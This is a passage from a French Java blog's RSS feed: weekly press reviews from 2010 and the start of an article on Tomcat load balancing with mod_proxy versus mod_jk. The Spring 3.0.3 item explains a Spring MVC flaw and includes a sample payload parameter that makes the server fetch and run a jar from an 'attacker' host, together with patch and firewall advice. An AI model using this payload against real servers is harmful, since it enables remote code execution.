name="DuctdechezPlayFramework"></a>Du côté de chez Play! Framework</h4><p><a
title="Play!" href="http://www.playframework.org/">Play!</a>, le framework qui monte, qui monte, vient de passer un cap important : une <a
title="Cheat Sheet" href="http://www.lunatech-research.com/archives/2010/06/08/play-framework-cheat-sheet">Cheat Sheet</a> vient de lui être consacrée !</p><p>Les releases s&#8217;enchaînent à un tel rythme que cette antisèche est pour la version 1.0.2.1 alors que Play! en est déjà à la 1.0.3. Mais elle devrait tout de même se révéler fort utile pour débuter en toute quiétude, sans avoir à chercher dans la doc toutes les 30 secondes.</p><ul><li><a
title="Play! Framework Cheat Sheet" href="http://www.lunatech-research.com/archives/2010/06/08/play-framework-cheat-sheet">Play! Framework Cheat Sheet</a></li></ul><p>Egalement à signaler, le lancement d&#8217;une plateforme pour héberger vos applications Play! : <a
title="PlayApps" href="http://www.playapps.net/">PlayApps</a>. En quelques clics, vous pouvez désormais réserver un espace dimensionné à vos besoins et déployer une application rapidement. Base MySql, accès SSH, et un joli tableau de bord qui a l&#8217;air assez complet, pour manager vos applications. Si certains lecteurs ont des retours à faire sur cette offre, nous n&#8217;avons pas encore eu l&#8217;occasion de tester ça, et nous sommes curieux.</p><h4><a
name="ExtJSRaphaeljQtouchSencha"></a>ExtJS + Raphael + jQtouch = Sencha</h4><p>Nous connaissons <a
title="ExtJS" href="http://www.sencha.com/products/js/">ExtJS</a> mais pas forcément la compagnie qui se trouve derrière le framework. Celle-ci ayant grossit ces derniers mois, une nouvelle identité nous est désormais proposée : ExtJS devient <a
title="Sencha" href="http://sencha.com/">Sencha</a> ! (via <a
title="ajaxian" href="http://ajaxian.com/archives/sencha-extjs-jqtouch-raphael-connect"><em>ajaxian</em></a>)</p><p>Alors, qu&#8217;y a-t-il derrière cette nouvelle identité ?  Et bien plusieurs produits déjà sortis et d&#8217;autres encore en incubation :</p><ul><li>Sencha Touch : framework HTML5 pour développement mobile <em>(iPhone et Android)</em> ;</li><li>Ext Designer : application desktop de création d&#8217;interfaces ;</li><li>Ext JS : on ne présente plus ce framework de création d&#8217;interfaces riches en Javascript ;</li><li>Ext GWT : Ext JS pour les développeurs Java et GWT ;</li><li>Ext Core : librairie Javascript cross-browser ;</li><li>[Labs] jQTouch : librairie de développement mobile léger avec animation et plugin UI pour jQuery ;</li><li>[Labs] Raphaël : librairie de développement de graphiques vectoriels SVG ;</li><li>[Labs] Connect : framework regroupant Rack et NodeJS <em>(j&#8217;attend déjà avec impatience !)</em> pour un serveur d&#8217;application <em>lean</em> et <em>event driven</em>.</li></ul><p>Bienvenue donc à Sencha et à sa pléiade de produits déjà fortement utilisés dans la communauté.</p><h3><a
name="SOA"></a>SOA</h3><h4><a
name="WSOlanceStratosunPaaSouvert"></a>WSO2 lance Stratos, un PaaS ouvert</h4><p><a
title="WSO2" href="http://wso2.org/">WSO2</a>, éditeur de la plateforme open source de middleware Carbon, a annoncé en début de mois sa nouvelle plateforme <a
title="PaaS" href="http://en.wikipedia.org/wiki/Platform_as_a_service">PaaS</a> Stratos. D&#8217;après <a
title="Paul Fermantle" href="http://pzf.fremantle.org/2010/06/wso2-stratos-platform-as-service-for.html">Paul Fermantle</a>, CTO de la firme, leur offre se démarque des autres PaaS du marché comme Google App Engine, par les points suivants :</p><ul><li>contrairement à GAE ou Force.com, Stratos peut être utilisé aussi bien sur des nuages privés que public,</li></ul><ul><li>Stratos n&#8217;offre pas seulement une plateforme pour le développement d&#8217;applications web, mais une architecture d&#8217;un SI d&#8217;entreprise complète avec notamment un ESB, de l&#8217;orchestration de services, etc &#8230;,</li></ul><ul><li>Stratos se repose essentiellement sur des standards ouverts et des modes de déploiement classiques ce qui favorise la portabilité des applications.</li></ul><p>Vous pouvez d&#8217;ores et déjà l&#8217;essayer à cette <a
title="adresse" href="https://cloud.wso2.com/carbon/admin/login.jsp">adresse</a></p><h3><a
name="Lecoindelatechnique"></a>Le coin de la  technique</h3><h4><a
name="Springversionetfailledescurit"></a>Spring, version 3.0.3 et faille de sécurité</h4><p>Grâce aux feedback de la communauté sur Spring 3.0.2, et à plusieurs semaines de travail, SpringSource nous livre une version 3.0.3 corrigeant plus d&#8217;une centaine de bugs mineurs. Les aspects ayant le plus bénéficié de ce travail sont les taglibs JSP et les supports de OpenJPA 2.0, Hibernate 3.5.2 et JBoss 6.0.0 M3, annoncés comme pleinement opérationnels maintenant.</p><p>Plus de détails sur l&#8217;<a
title="annonce officielle" href="http://blog.springsource.com/2010/06/15/spring-framework-3-0-3-released/">annonce officielle</a>. Il est à noter que cette version corrige <a
title="une faille de scurit assez importante" href="http://www.securityfocus.com/archive/1/511877">une faille de sécurité assez importante</a> découverte sur la partie MVC et remontée par Meder Kydyraliev, de l&#8217;équipe sécurité de Google. Les versions 2.5 et 3.0.0 du framework sont touchées par cette faille.</p><p>Le principe de l&#8217;attaque consiste à :</p><ol><li>Réaliser un jar accessible depuis internet avec un fichier <code>META-INF/spring-form.tld</code> et un répertoire <code>META-INF/tags/</code> contenant le code Java du tag</li><li>Soumettre un formulaire avec le paramètre HTTP : <code>class.classLoader.URLs[0]=jar:http://attacker/attack.jar!/</code></li><li>Ensuite, le comportement interne de Spring fait qu&#8217;il va télécharger <code>http://attacker/attack.jar</code> pour l&#8217;exécuter sur la JVM du serveur d&#8217;application.</li></ol><p>Pour se défendre de ce type d&#8217;attaque il y a deux possibilités :</p><ul><li>Faire une mise à jour du framework Spring (de 2.5.6 à 2.5.7 ou 3.0.0.RELEASE à 3.0.3.RELEASE)</li><li>Ou définir une règle firewall pour empêcher le téléchargement des fichiers indiqués dans l&#8217;URL soumise</li></ul><p>Pour plus détails, je vous invite à lire le <a
title="billet de Julien Dubois sur son blog Responcia" href="http://www.responcia.fr/blog/2010/06/18/faille-de-securite-critique-dans-spring/">billet de Julien Dubois sur son blog Responcia</a></p><h4><a
name="SortiedApacheClick"></a>Sortie d&#8217;Apache Click 2.2.0</h4><p><a
title="Apache Click" href="http://click.apache.org/">Apache Click</a> est un framework web JEE orienté composants et évènements. Les pages et les composants sont développés en Java alors que la partie templating s&#8217;écrit en Velocity, en FreeMarker ou en JSP. Click est <em>stateless</em> par défaut mais peut être paramétré pour être <em>stateful</em>. A noter qu&#8217;il est <em>top-level project</em> chez Apache depuis Novembre 2009.</p><p>Les nouveautés de cette version sont <a
title="nombreuses" href="http://click.apache.org/docs/roadmap-changes.html">nombreuses</a>. Elles vont de la mise à jour des versions de Velocity et Cayenne en passant par la correction de bugs divers concernant la gestion des dates dans Click ainsi que l&#8217;ajout de nombreuses classes techniques apportant chacune leur lot de nouveautés.</p><p>Les liens utiles : <a
title="téléchargement" href="http://click.apache.org/docs/downloads.html">téléchargement</a>, <a
title="guide utilisateur" href="http://click.apache.org/docs/user-guide.html">guide utilisateur</a> et <a
title="exemples" href="http://www.avoka.com/click-examples/home.htm">exemples</a>.</p><h4><a
name="TrucsetastucespourEclipse"></a>Trucs et astuces pour Eclipse</h4><p>De plus en plus de développeurs sont convaincus par <a
title="IntelliJ IDEA" href="http://www.jetbrains.com/idea/">IntelliJ IDEA</a>, l&#8217;IDE de <a
title="JetBrains" href="http://www.jetbrains.com/">JetBrains</a>. Les raisons sont diverses et variées : de meilleurs plugins, une meilleure intégration avec de nombreux frameworks ou bien encore de nouvelles fonctionnalités manquant cruellement à Eclipse.  Certes, IDEA apporte son lot de changements par rapport à <a
title="Eclipse" href="http://www.eclipse.org/">Eclipse</a> mais il faut toutefois remarquer que de nombreuses fonctionnalités de ce dernier ne sont pas bien mises en avant par l&#8217;IDE et sont mêmes pour certaines inconnues des développeurs. Voilà donc une petite série d&#8217;articles du côté de chez <a
title="CertPal" href="http://www.certpal.com/blogs/tag/tips/">CertPal</a> de type trucs et astuces qui vous permettra peut-être de découvrir quelques fonctionnalités d&#8217;Eclipse.</p><p>Le <a
title="premier article" href="http://www.certpal.com/blogs/2009/08/eclipse-tips-and-tricks-part-1/">premier article</a> se consacre au <code>code templates</code>. Exemple : la complétion sur <code>syso</code> nous génère automatiquement <code>System.out.println()</code>. De nombreux templates sont déjà disponibles et il sera bien sûr possible d&#8217;en ajouter très facilement. L&#8217;auteur nous présente alors quelques possibilités de templates comme le <code>go</code> générant un <code>main</code>, le <code>log</code> générant une variable de log avec les imports adéquats ou bien encore le <code>tryf</code> générant un block <code>try/catch/finally</code>.</p><p>Le <a
title="second" href="http://www.certpal.com/blogs/2009/09/eclipse-tips-and-tricks-part-2/">second</a> se focalise sur le débogage de l&#8217;application. Cela commence par la mise en place du <code>remote debugging</code>. Puis, l&#8217;auteur détaille les points d&#8217;arrêt conditionnels, la vue <code>display</code> qui permet l&#8217;exécution de code <em>live</em> avec toutes les variables du scope à disposition, la définition d&#8217;un <code>detail formatter</code> spécifique et la modification <em>live</em> de valeurs depuis la vue d&#8217;inspection. Un très bon article et un très bon rappel de tous les outils et fonctionnalités qui sont à notre disposition pour le <em>debug</em> de nos applications.</p><p>Enfin, sorti en début de semaine dernière, un <a
title="troisime article" href="http://www.certpal.com/blogs/2010/06/eclipse-tips-and-tricks-part-3/">troisième article</a>, plus global, décrit plusieurs astuces comme la définition de raccourcis spécifiques, la customisation de la complétion, l&#8217;import/export des préférences ou la très intéressante vue <code>local history</code>.</p><p>La série n&#8217;étant peut-être pas finie, il faudra garder un œil pour un éventuel quatrième article.</p><h4><a
name="Netbeans"></a>Netbeans 6.9</h4><p>Aprés IntelliJ et Eclipse, Netbeans ! <a
title="Netbeans 69" href="http://netbeans.org/community/releases/69/">Netbeans 6.9</a> est sorti la semaine dernière, environ 7 mois après la 6.8 avec en guest star JavaFX Composer. Pensé un peu comme Java Swing Builder (anciennement projet Matisse), disponible aussi dans Netbeans, cet outil permet de construire graphiquement des éléments d&#8217;un formulaire, associés à des états et une source de données. Tout comme l&#8217;ajout du support de PHP Zend Framework, cette fonctionnalité devrait attirer quelques développeurs plus web que java.</p><p>Parmi les autres nouveautés :</p><ul><li>intégration d&#8217;OSGI</li><li>support de Spring 3.0.0</li><li>support REST web services pour les applications RCP</li><li>support de Rails 3.0</li></ul><p>A noter aussi que cette version est accompagnée de la nouvelle version 3.0.1 de Glassfish qui corrige au moins une centaine de bugs.</p><p>Bien que ce soit une version majeure, pas sûr néanmoins qu&#8217;elle fasse de l&#8217;ombre à la version annuelle d&#8217;Eclipse, Helios de son petit nom, qui sort très prochainement et dont on parlera également dans cette revue de presse.</p><h4><a
name="Choisirentremodjketmodproxypar"></a>Choisir entre mod_jk et mod_proxy, par Mark Thomas</h4><p>Nous avons déjà parlé sur le blog, Mark Thomas enfonce le clou. Sur le blog Tomcat Expert, il s&#8217;est fendu d&#8217;un nouvel article qui se veut une <em>checklist</em> pour choisir entre le mod_jk et le mod_proxy. Mark commence d&#8217;ailleurs en disant clairement que ce sont les seules solutions à considérer aujourd&#8217;hui. Il affiche sa préférence pour le mod_jk et le mod_proxy_http face au mod_proxy_ajp encore un peu jeune. Ses conclusions sont:</p><ul><li>Si vous devez crypter la communication entre Apache et Tomcat, utilisez le mod_proxy.</li><li>Si vous devez exposer à Tomcat les informations SSL, utilisez le mod_jk.</li><li>Si vous avez déjà un de ces modules en production, ne changez rien.</li><li>Mark préfère le mod_proxy_http, pour sa configuration plus consistante.</li></ul><p>Pour plus d&#8217;information, vous pouvez lire son article sur le <a
title="blog Tomcat Expert" href="http://www.tomcatexpert.com/blog/2010/06/16/deciding-between-modjk-modproxyhttp-and-modproxyajp">blog Tomcat Expert</a>, ou connaître notre avis sur la question: <a
title="modproxy vs modjk" href="http://blog.xebia.fr/2010/02/03/tomcat-load-balancing-mod_proxy-vs-mod_jk-le-match/">mod_proxy vs mod_jk</a>.</p> ]]></content:encoded> <wfw:commentRss>http://blog.xebia.fr/2010/06/22/revue-de-presse-xebia-164/feed/</wfw:commentRss> <slash:comments>1</slash:comments> </item> <item><title>Revue de Presse Xebia</title><link>http://blog.xebia.fr/2010/06/08/revue-de-presse-xebia-162/</link> <comments>http://blog.xebia.fr/2010/06/08/revue-de-presse-xebia-162/#comments</comments> <pubDate>Tue, 08 Jun 2010 06:27:29 +0000</pubDate> <dc:creator>Xebia France</dc:creator> <category><![CDATA[Revue de presse]]></category> <category><![CDATA[git]]></category> <category><![CDATA[HornetQ]]></category> <category><![CDATA[Mémoire]]></category> <category><![CDATA[STOMP]]></category> <category><![CDATA[Tomcat]]></category> <category><![CDATA[WebSocket]]></category> <guid
isPermaLink="false">http://blog.xebia.fr/?p=4896</guid> <description><![CDATA[La revue de presse de l&#8217;actualité Java/J2EE hebdomadaire proposée par Xebia. Actualité éditeurs / SSII HornetQ 2.1 Le coin de la technique Git podcastcodé Fuites mémoires dans Tomcat Actualité éditeurs / SSII HornetQ 2.1 La version 2.1 d&#8217;HornetQ est sortie la semaine dernière. Trois nouvelles fonctionnalités importantes ont été apportées : La possibilité de regrouper [...]]]></description> <content:encoded><![CDATA[<p><img
src="http://blog.xebia.fr/wp-content/uploads/2007/06/revuedepresse.png" alt="Revue de Presse Xebia" style="margin: 1em 1em 1em 1em; float: right;" /><br
/> <em>La revue de presse de l&#8217;actualité Java/J2EE hebdomadaire proposée par Xebia.</em></p><p><strong>Actualité  éditeurs / SSII</strong></p><ul><li><a
href="http://blog.xebia.fr/2010/06/08/revue-de-presse-xebia-162/#HornetQ">HornetQ 2.1</a></li></ul><p><strong>Le coin de la  technique</strong></p><ul><li><a
href="http://blog.xebia.fr/2010/06/08/revue-de-presse-xebia-162/#Gitpodcastcod">Git podcastcodé</a></li><li><a
href="http://blog.xebia.fr/2010/06/08/revue-de-presse-xebia-162/#FuitesmmoiresdansTomcat">Fuites mémoires dans Tomcat </a></li></ul><h3><a
name="ActualitditeursSSII"></a>Actualité  éditeurs / SSII</h3><h4><a
name="HornetQ"></a>HornetQ 2.1</h4><p>La <a
href="http://hornetq.blogspot.com/2010/06/new-stuff-on-hornetq-21-final.html" title="version 21" >version 2.1</a> d&#8217;HornetQ est sortie la semaine dernière. Trois nouvelles fonctionnalités importantes ont été apportées :</p><ul><li>La possibilité de <a
href="http://hornetq.sourceforge.net/docs/hornetq-2.1.0.Final/user-manual/en/html/perf-tuning.html#d0e11353" title="regrouper des petits messages" >regrouper des petits messages</a>, au niveau du protocole TCP, dans un seul envoi</li><li>Ajout du protocole STOMP, un protocole de messagerie texte très simple mais qui a l&#8217;avantage de s&#8217;adapter à de nombreuses plateformes et langages.</li><li>Implémentation de l&#8217;API WebSocket pour STOMP. WebSocket est apparu avec la nouvelle norme HTML5 et propose une normalisation de l&#8217;API javascript pour tout ce qui concerne le maintien d&#8217;une <em>socket</em> vers le serveur, reprenant le principe de Comet.</li></ul><p>Ces deux derniers points sont aussi prévus dans la version 5.3.4 d&#8217;ActiveMQ.</p><p>Dans la roadmap de la version 2.2 :</p><ul><li>Rest: accepter le protocole HTTP</li><li>Serverless: un client HornetQ embarquant un serveur</li><li>AMQP: implémentation de la version 1.0, pas encore finalisée, de ce protocole</li></ul><h3><a
name="Lecoindelatechnique"></a>Le coin de la  technique</h3><h4><a
name="Gitpodcastcod"></a>Git podcastcodé</h4><p>Avec ce titre, nous voulons signaler que <a
href="http://fr.wikipedia.org/wiki/Git" title="Git" >Git</a>, le gestionnaire de versions décentralisé, a été mis à l&#8217;honneur du <a
href="http://lescastcodeurs.com/2010/05/les-cast-codeurs-podcast-episode-23-interview%C2%A0dvcs-et-git-jai-vu-la-lumiere-avec%C2%A0david-gageot-dalgodeal/" title="dernier épisode" >dernier épisode</a> du podcast des <a
href="http://lescastcodeurs.com/" title="Cast Codeurs" >Cast Codeurs</a>. Emmanuel Bernard, de JBoss, interroge David Gageot d&#8217;Algodeal, qui utilise Git depuis 2 ans déjà, et nous livre quelques bons cas d&#8217;utilisation et exemples.<br
/> Alors quels sont les arguments utilisés pour vanter ce <a
href="http://en.wikipedia.org/wiki/Distributed_Version_Control_System" title="DVCS" >DVCS</a> ? Ce qui ressort c&#8217;est surtout le gain de temps et le fait que Git ne se met pas en travers du chemin de ses utilisateurs. Les <em>commits</em> sont rapides car en local, et seuls les changements sont commités, pas les versions finales des fichiers. Un bénéfice qui en découle est que les développeurs sont ainsi poussés à commiter souvent. Git détecte aussi automatiquement les déplacements et renommages des fichiers , ce qui permet des <em>refactorings</em> agressifs.<br
/> Bien sûr, David Gageot évoque la question que tout le monde se pose: si la même ligne change à 2 endroits, que se passe-t-il alors ? Effectivement, ce cas doit être résolu manuellement, mais il précise que, grâce aux commits fréquents qu&#8217;encourage Git, et comme il se base sur les modifications successives, ce cas survient moins souvent.<br
/> Une méthodologie particulière, qui intéressera tous ceux qui ont déjà passé des heures à chercher quel commit avait été à l&#8217;origine d&#8217;un bug, est aussi décrite. Elle se base sur l&#8217;outil git-bisect pour détecter rapidement (par dichotomie) la révision où un bug est apparu. La description de cette fonctionnalité est assez bluffante !<br
/> En vrac, sont aussi évoqués:</p><ul><li>Git SVN qui permet de se faire la main en local sur Git tout en continuant d&#8217;utiliser le SVN de son équipe par exemple.</li><li><a
href="http://github.com/" title="Git Hub" >Git Hub</a> présenté comme la <em>killer app</em> de Git qui est en quelque sorte un Sourceforge 2.0, plus social.</li><li>L&#8217;absence de vraie <em>roadmap</em> publique, justifiée par le développement qualifié d&#8217;organique, mais la bonne progression du projet n&#8217;en semble pas affectée.</li></ul><p>Au final, une phrase qui résumera bien tout cet entretien est &laquo;&nbsp;Git, si tu as besoin de le vendre à ton manager, change de manager&nbsp;&raquo; <img
src='http://blog.xebia.fr/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> . David Gageot entend par là montrer à quel point Git améliore la productivité.<br
/> Emmanuel Bernard semble d&#8217;ailleurs avoir été tellement convaincu qu&#8217;il vient de publier un article intitulé <a
href="http://blog.emmanuelbernard.com/2010/05/git-how-my-life-has-improved-since-last-month-when-i-used-svn" title="Git how my life has improved since last month when I used SVN" >&laquo;&nbsp;Git: how my life has improved since last month when I used SVN&nbsp;&raquo;</a>.<br
/> Et pour terminer sur Git, notons qu&#8217;<a
href="http://www.infoq.com/news/2010/06/egit-helios" title="InfoQ annonce" >InfoQ annonce</a> les dernières versions des plugins Eclipse JGit et Egit. <a
href="http://wiki.eclipse.org/JGit" title="Jgit" >Jgit</a> est la librairie Java permettant de communiquer avec un repository Git, alors que <a
href="http://wiki.eclipse.org/EGit" title="EGit" >EGit</a> est son <em>frontend</em> graphique permettant d&#8217;y accéder dans Eclipse. Il est précisé que le format étant standardisé, il est possible (voir recommandé, car le développement est encore en cours) d&#8217;utiliser ces plugins conjointement à Git version ligne de commande. C&#8217;est quelque chose qu&#8217;apprécieront les nombreuses personnes ayant déjà eu des problèmes suite à une montée de version de SVN en ligne de commande alors que les plugins SVN pour Eclipse, inchangés, étaient rendu non fonctionnels (voir corrompaient carrément les fichiers !).</p><h4><a
name="FuitesmmoiresdansTomcat"></a>Fuites mémoires dans Tomcat</h4><p>Vous êtes en train de tester votre application qui tourne sur Tomcat depuis votre IDE mais vous aimeriez faire une petite modification sur votre contrôleur et vous êtes en <em>build automatic</em>. La compilation se met en marche et là, pas de chance, les piles d&#8217;erreurs s&#8217;accumulent dans votre console. Plus rien ne fonctionne, vous êtes bon pour redémarrer votre serveur.</p><p>Ce problème bien connu, du en général à des OutOfMemoryException, arrive car la <em>dé-allocation</em> des objets utilisés se passe mal, la pile PermGen de la JVM accumule les objets sans dégrossir provoquant des PermGen Exception. Une <a
href="http://java.dzone.com/articles/memory-leak-protection-tomcat" title="interview trs intressante" >interview très intéressante</a> de Mark Thomas, commiter sur Apache Tomcat, nous éclaire sur le pourquoi du comment et les améliorations prévues pour Tomcat 7.</p><p>D&#8217;après son expérience, les fuites mémoires sont surtout dues à des défauts dans les librairies utilisées. Tomcat affecte un classloader par application, lorsqu&#8217;une application est rechargée Tomcat tente d&#8217;abord de nettoyer tous les objets liés au classloader avant d&#8217;en affecter un nouveau. Si jamais pour une raison ou une autre un objet d&#8217;un autre classloader pointe vers celui qu&#8217;on veut supprimer, les objets ne peuvent être supprimer. Les API ou applications qui peuvent être responsables de cette situation sont en général :</p><ul><li>JDBC driver registration</li><li>Some logging frameworks</li><li>Storing objects in ThreadLocals and not removing them</li><li>Starting threads and not stopping them</li></ul><p>Pour corriger cela, Tomcat lance des méthodes de nettoyage ad hoc pour tous ces types de problème et si jamais ce n&#8217;est pas possible, trace précisément la cause du <em>non dé-référencement</em>.</p><p>Plus surprenant peut-être, les causes de fuites mémoires sont parfois provoquées par la JRE elle-même. Dans ce cas Tomcat va tenter d&#8217;intercepter ces appels directs à la JVM pour pouvoir contrôler par la suite son référencement. On apprend à l&#8217;occasion que l&#8217;implémentation de java.util.logging dans la JRE n&#8217;est pas gérée par un classloader <em>classique</em> et Tomcat doit la surcharger.</p><p>Cet interview donne une idée assez claire de ce qui se passe dans Tomcat au moment du chargement d&#8217;une application. Les curieux peuvent étudier les classes <a
href="http://svn.apache.org/viewvc/tomcat/trunk/java/org/apache/catalina/loader/WebappClassLoader.java?view=markup" title="WebappClassLoader" >WebappClassLoader</a> (surtout la méthode <code>clearReferences()</code>)  et <a
href="http://svn.apache.org/viewvc/tomcat/trunk/java/org/apache/catalina/core/JreMemoryLeakPreventionListener.java?view=markup" title="JreMemoryLeakPreventionListener" >JreMemoryLeakPreventionListener</a> pour connaitre un peu mieux le fonctionnement interne. Tomcat 7 devrait apporter de nombreuses améliorations qui, bonne nouvelle, ont été aussi backportées sur la version 6.0.24 et donc déjà disponible.</p> ]]></content:encoded> <wfw:commentRss>http://blog.xebia.fr/2010/06/08/revue-de-presse-xebia-162/feed/</wfw:commentRss> <slash:comments>0</slash:comments> </item> <item><title>Tomcat load balancing &#8211; mod_proxy vs mod_jk le match</title><link>http://blog.xebia.fr/2010/02/03/tomcat-load-balancing-mod_proxy-vs-mod_jk-le-match/</link> <comments>http://blog.xebia.fr/2010/02/03/tomcat-load-balancing-mod_proxy-vs-mod_jk-le-match/#comments</comments> <pubDate>Wed, 03 Feb 2010 15:21:18 +0000</pubDate> <dc:creator>Cyrille Le Clerc</dc:creator> <category><![CDATA[Exploitation]]></category> <category><![CDATA[Java / JEE]]></category> <category><![CDATA[Load Balancer]]></category> <category><![CDATA[Reverse Proxy]]></category> <category><![CDATA[Tomcat]]></category> <guid
isPermaLink="false">http://blog.xebia.fr/?p=3952</guid> <description><![CDATA[Dans notre article sur l&#8217;utilisation de HTTPS avec Tomcat en production, nous avons étudié les solutions reposant sur la mise en place d&#8217;un reverse proxy HTTP. Nous n&#8217;avons pas oublié pour autant le protocole AJP. Ce protocole est né pour faciliter et accélérer les communications entre un serveur web frontal et le serveur d&#8217;application JServ [...]]]></description> <content:encoded><![CDATA[<p>Dans notre article sur l&#8217;<a
href="http://blog.xebia.fr/2009/11/13/tomcat-ssl-communications-securisees-et-x-forwarded-proto/" title="utilisation de HTTPS avec Tomcat en production" >utilisation de HTTPS avec Tomcat en production</a>, nous avons étudié les solutions reposant sur la mise en place d&#8217;un reverse proxy HTTP. Nous n&#8217;avons pas oublié pour autant le protocole AJP. Ce protocole est né pour faciliter et accélérer les communications entre un serveur web frontal et le serveur d&#8217;application JServ en back-end d&#8217;Apache. Avec le temps, Tomcat a remplacé Apache JServ mais AJP est resté. Jusqu&#8217;en 2003, AJP était la seule solution viable permettant de placer le serveur d&#8217;application derrière un serveur Apache. Avec la maturation de la fonctionnalité Proxy dans Apache est née la solution tout HTTP. Nous avons donc décidé d&#8217;organiser un match opposant la solution AJP à la solution HTTP.</p><h2><a
name="Unpeudhistoire"></a>Un peu d&#8217;histoire</h2><p>Tout commence en 1997 avec la création d&#8217;Apache JServ. A l&#8217;époque, il s&#8217;agit d&#8217;un serveur de Servlet qui supporte uniquement le protocole AJP créé pour l&#8217;occasion. Dans l&#8217;architecture initiale, c&#8217;est Apache 1.1 qui fournit le serveur web et transfère les requêtes par socket au moteur de Servlet. C&#8217;est la naissance du protocole <a
href="http://sciencedesk.arc.nasa.gov/jservdocs/protocol/AJPv1.html" title="AJP dans sa premire version" >AJP dans sa première version</a> implémentée par le mod_jserv. L&#8217;Apache JServ Protocol fonctionne au départ comme un proxy qui redirige le flux vers JServ. Le protocole est en texte clair et utilise un caractère en début de ligne pour distinguer les différents éléments de la requête.</p><p>Rapidement, le protocole initial est considéré comme trop limité car il fonctionne uniquement en loopback et possède une authentification pauvre. En 1998, le protocole <a
href="http://sciencedesk.arc.nasa.gov/jservdocs/protocol/AJPv11.html" title="AJP 1.1" >AJP 1.1</a> permet à JServ de tourner sur une autre machine que le serveur web et d&#8217;assurer une authentification forte basée sur md5. Avec le développement de JServ appparaît un problème de performance important : le coût d&#8217;ouverture d&#8217;une socket et la vitesse des réseaux. Ils sont considérés à l&#8217;époque comme les principaux goulets d&#8217;étranglement. Pour résoudre ces problèmes, le protocole passe à la version 1.2 dont vous trouverez le draft initial <a
href="http://sciencedesk.arc.nasa.gov/jservdocs/protocol/AJPv21.html" title="ici" >ici</a>. AJP 1.2 est un protocole binaire orienté paquets qui permet de recycler la ou les sockets connectées à JServ. Le passage au binaire permet aussi d&#8217;améliorer les performances car il diminue la taille des données qui transitent et simplifie le traitement.</p><p>En 1999, Sun offre son implémentation de référence des Servlets à la fondation Apache. C&#8217;est le point de départ des projets Tomcat et Ant. Commence alors une période de transition qui finira par l&#8217;abandon d&#8217;Apache JServ. Pendant cette transition, AJP sera porté sur Tomcat qui bénéficiera d&#8217;emblée d&#8217;une facilité d&#8217;interconnexion avec Apache. Aux alentours de 2000, le mod_jk est développé pour étendre AJP qui pourra supporter le transport des données SSL. C&#8217;est la version 1.3 que l&#8217;on retrouve aujourd&#8217;hui supportée par les dernières générations de Tomcat. Après toutes ces années de développement, le mod_jk est maintenu par le projet <a
href="http://tomcat.apache.org/connectors-doc/" title="Tomcat Connectors" >Tomcat Connectors</a> et n&#8217;a jamais été intégré aux projets Apache.</p><p>La création d&#8217;AJP résulte donc de la simplicité et de la rapidité de développement souhaitées par les auteurs. Il fallait aller vite, et implémenter un proxy pleinement compatible HTTP aurait été trop long. Le module mod_proxy existe depuis 1996 dans Apache 1.1. Mais il s&#8217;agissait d&#8217;une fonctionnalité expérimentale qui n&#8217;offrait ni performance ni stabilité. A la sortie d&#8217;Apache 2, le proxy a même été dé-scopé car il ne fonctionnait plus du tout. Les développeurs vont pourtant rapidement le corriger et le réintégrer comme solution pour faire des reverse proxies. Pour la sortie d&#8217;Apache 2.2, le mod_proxy est entièrement réécrit pour supporter le load-balancing. Il offre, pour la première fois dans Apache, une solution capable de concurrencer le mod_jk en performance et en scalabilité. Cerise sur le gâteau, Apache a décidé de supporter nativement le protocole AJP en ajoutant un mod_proxy_ajp à la solution mod_proxy.</p><h2><a
name="Installation"></a>Installation</h2><h3><a
name="modproxy"></a>mod_proxy</h3><p>Le mod_proxy fait partie de la distribution standard d&#8217;Apache HTTPD. Il est livré avec le mod_proxy_http, le mod_proxy_ajp et le mod_proxy_balancer. Il suffit donc de s&#8217;assurer que ces modules sont bien chargés au démarrage d&#8217;Apache.</p><h3><a
name="modjk"></a>mod_jk</h3><p>Si mod_jk était autrefois très délicat à installer avec la compilation du code sur un serveur similaire au serveur cible, la situation s&#8217;est grandement simplifiée. Le projet <em><a
href="http://tomcat.apache.org/connectors-doc/" title="Apache Tomcat Connector" >Apache Tomcat Connector</a></em> fournit désormais <a
href="http://www.apache.org/dist/tomcat/tomcat-connectors/jk/binaries/" title="les binaires" >les binaires</a> pour les principales plateformes (Linux, Windows, Free BSD, Mac, Solaris, AIX, etc). Il faut donc télécharger le binaire du module et le copier dans le répertoire contenant les modules Apache.</p><h2><a
name="Configuration"></a>Configuration</h2><p>Pour mieux comparer les deux solutions, nous avons choisi de prendre comme exemple l&#8217;utilisation d&#8217;Apache en front desservant deux Tomcat en load-balancing. Nous ne nous intéresserons ici qu&#8217;à la configuration d&#8217;Apache HTTPD. La configuration AJP de Tomcat étant déjà largement documentée sur le web et celle via HTTP dans nos articles précédents, nous n&#8217;aborderons pas ces problématiques.</p><h3><a
name="modproxyhttpmodproxybalancer"></a>mod_proxy_http &#038; mod_proxy_balancer</h3><p>La configuration du mod_proxy consiste d&#8217;abord à s&#8217;assurer que les modules soient bien chargés avec les directives <code>LoadModule</code>. Nous activons ensuite le <code>server-status</code> ainsi que le <code>balancer-manager</code> pour obtenir une interface de surveillance / administration du load-balancer. Enfin, nous avons configuré le <code>Proxy balancer</code> nommé <code>my-application-cluster</code> pour contenir nos 2 serveurs Tomcat. La dernière ligne de configuration active le reverse proxy pour que les requêtes sur <code>/my-application</code> soient redirigées vers le <code>/my-application</code> du load-balancer.</p><p><strong>Configuration avec mod_proxy_http &#038; mod_proxy_balancer &#8211; httpd.conf</strong></p><pre class="brush: xml; title: ; notranslate">
# LOAD MODULES
LoadModule proxy_module libexec/apache2/mod_proxy.so
LoadModule proxy_http_module libexec/apache2/mod_proxy_http.so
LoadModule proxy_balancer_module libexec/apache2/mod_proxy_balancer.so
# STATUS AND MONITORING
# Display proxy balancer status in /server-status page
ProxyStatus On
&lt;Location /server-status&gt;
    SetHandler server-info
    Order deny,allow
    Deny from all
    Allow from localhost
&lt;/Location&gt;
&lt;Location /balancer-manager&gt;
    SetHandler balancer-manager
    Order Deny,Allow
    Deny from all
    Allow from localhost
&lt;/Location&gt;
# APPLICATIONS CONFIGURATION
&lt;Proxy balancer://my-application-cluster&gt;
   BalancerMember      http://node-1:8080 route=node-1 disablereuse=On
   # ...
   BalancerMember      http://node-n:8081 route=node-n disablereuse=On
&lt;/Proxy&gt;
ProxyPreserveHost On
ProxyPass /my-application balancer://my-application-cluster/my-application stickysession=JSESSIONID
